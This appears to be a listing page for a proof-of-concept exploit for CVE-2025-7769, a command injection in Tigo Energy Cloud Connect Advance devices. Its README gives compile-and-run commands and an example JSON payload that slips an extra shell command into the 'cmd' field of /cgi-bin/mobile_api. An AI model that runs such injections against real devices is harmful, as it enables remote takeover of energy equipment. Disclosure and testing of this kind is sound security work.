CVE-2025-7769 PoC — Improper Neutralization of Special Elements used in a Command ('Command Injection') in Tigo Energy Cloud Connect Advance

Source

Associated Vulnerability

Description

PoC to inject a command via the DEVICE_PING endpoint

Readme

# CVE-2025-7769 – Remote Command Injection in mobile_api

## Description :

This repository contains a Proof‑of‑Concept (PoC) exploit for **CVE‑2025‑7769**, a critical remote **Command Injection** vulnerability found in Tigo Energy CCA appliances exposing the `/cgi-bin/mobile_api` endpoint.

The vulnerability is triggered by injecting OS commands via the `cmd` JSON key, where unfiltered input is concatenated directly into a system call, allowing full remote code execution (RCE) on the device.

## References :
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-7769

## Usage :

```
gcc exploit.c argparse.c -o CVE-2025-7769 -lcurl
./CVE-2025-7769 -i 10.0.2.15 -p 80 -v
Replace 10.0.2.15 with the target IP.

Use -u http://target.com if you want to pass a full base URL instead of IP/port.

Example Payload :

{
  "cmd": "DEVICE_PING;id",
  "dev": 2,
  "ver": 1
}
```
## License :
MIT License

File Snapshot

 [4.0K]  /data/pocs/726b860d39aa0f3f1d279acff03fb1674c2f016c
├── [ 15K]  exploit.c
├── [1.0K]  LICENSE
└── [ 948]  README.md

0 directories, 3 files

Remarks